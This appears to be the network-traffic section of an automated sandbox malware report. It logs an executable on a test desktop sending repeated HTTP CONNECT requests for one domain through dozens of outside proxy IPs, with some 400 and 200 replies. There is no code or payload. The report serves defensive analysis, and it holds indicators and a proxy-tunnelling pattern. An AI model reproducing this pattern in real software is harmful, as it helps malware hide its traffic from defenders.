Mar 11, 2024 15:21:03.648921967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.9	51574	45.12.31.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.649692059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.804042101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.9	51533	74.103.66.15	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.655488014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.184478998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.934684992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325634003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138144970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.9	51445	84.22.45.175	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.661334038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.9	51839	140.84.176.246	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.664078951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.9	51844	140.84.176.246	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.666487932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.9	51850	140.84.176.246	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.669378996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.9	51478	211.222.252.187	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.670797110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.9	51852	140.84.176.246	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.671261072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.9	51483	13.37.89.201	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.672241926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.968797922 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.9	51498	61.79.73.225	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.685674906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.9	51446	60.190.68.154	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.687622070 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:04.497015953 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:04.841423035 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.9	51441	43.133.136.208	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.688963890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.434475899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.9	51531	54.178.159.199	18080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.691282988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.954747915 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 14:21:03 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.9	51029	88.99.131.6	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.697827101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825232029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841392994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.934758902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.934597969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.934408903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.934474945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.934335947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:03.934252977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.9	51563	148.72.23.56	60069	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.698523998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.9	51608	104.16.108.204	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.703790903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.857974052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.9	51452	103.200.135.228	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.704025984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.9	51462	91.241.217.58	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.704790115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.9	51627	172.67.181.20	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.709769011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.863960981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.9	51491	94.131.14.66	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.710302114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.9	51553	98.181.137.80	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.724236012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.9	51664	104.18.136.28	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.724589109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.879082918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.9	51668	104.16.195.74	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.726397991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.880901098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.9	50738	58.253.210.122	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.731700897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.9	51725	104.16.230.163	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.745311975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.899878025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.9	51623	147.124.212.31	24230	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.747428894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
